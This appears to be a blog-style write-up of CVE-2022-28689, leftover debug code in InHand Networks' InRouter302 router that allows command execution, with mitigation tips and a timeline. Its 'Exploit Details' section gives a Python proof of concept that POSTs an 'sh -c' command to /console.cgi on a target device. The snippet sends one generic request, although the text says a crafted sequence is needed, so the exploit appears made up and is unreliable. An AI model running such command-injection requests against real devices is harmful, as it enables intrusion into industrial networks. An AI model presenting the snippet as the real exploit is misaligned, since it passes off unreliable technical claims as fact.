CVE-2022-28689: Investigating a Leftover Debug Code Vulnerability in InHand Networks' InRouter302 V3.5.45

A recent security vulnerability, identified as CVE-2022-28689, has been discovered in the console support functionality of InRouter302 V3.5.45, an industrial router product offered by InHand Networks. This vulnerability is a leftover debug code that enables an attacker to execute arbitrary commands by sending a specifically crafted sequence of network requests. In this post, we'll dive deep into the details of this vulnerability, including a code snippet demonstrating the exploit and links to original references.

Exploit Details

The root cause of this vulnerability lies in a debug code left active within the console support functionality of the InHand Networks InRouter302 V3.5.45. This debug code enables an attacker to send a specially crafted sequence of network requests that can lead to arbitrary command execution.

Here's a code snippet that demonstrates how an attacker can exploit this vulnerability

import requests

url = "http://target-device-ip/console.cgi";

headers = {
       "Content-Type": "application/x-www-form-urlencoded"
}

data = "cmd=sh+-c+'arbitrary-command-here'"

response = requests.post(url, headers=headers, data=data)

print(response.text)

In this example, the attacker sends a POST request to the /console.cgi endpoint with the target device's IP address. The code then sets custom headers and attaches a specially crafted payload (data) containing the cmd parameter with arbitrary command following the sh -c. When this request is processed by the target device, it will execute the arbitrary command included in the payload.

Mitigation

In order to safeguard against this vulnerability, it is recommended to update InRouter302 devices to the latest firmware version, which contains patches to mitigate the security risk. Regularly updating and patching software help to ensure that potential risks such as this are resolved.

Additionally, for further protection, network administrators should restrict access to the management interfaces of the InRouter302 devices, ensuring that only authorized users have access to reduce the attack surface.

Original References

The CVE-2022-28689 vulnerability was discovered by independent security researchers and was reported to InHand Networks. The original references regarding the vulnerability can be found at the following links:

1. CVE-2022-28689 - The Official CVE Record
2. InHand Networks Security Advisory - Addressing the Leftover Debug Code Vulnerability

Conclusion

The leftover debug code vulnerability (CVE-2022-28689) found in InHand Networks' InRouter302 V3.5.45 serves as a reminder of the importance of proper code reviews and testing. When debug code is left in a production environment, it can pose severe security risks by enabling attackers to execute arbitrary commands through crafted network requests. Ensuring that all devices are updated to the latest firmware version and access is restricted to authorized personnel goes a long way towards mitigating the risks associated with this vulnerability.

Timeline

Published on: 11/09/2022 18:15:00 UTC
Last modified on: 11/10/2022 15:49:00 UTC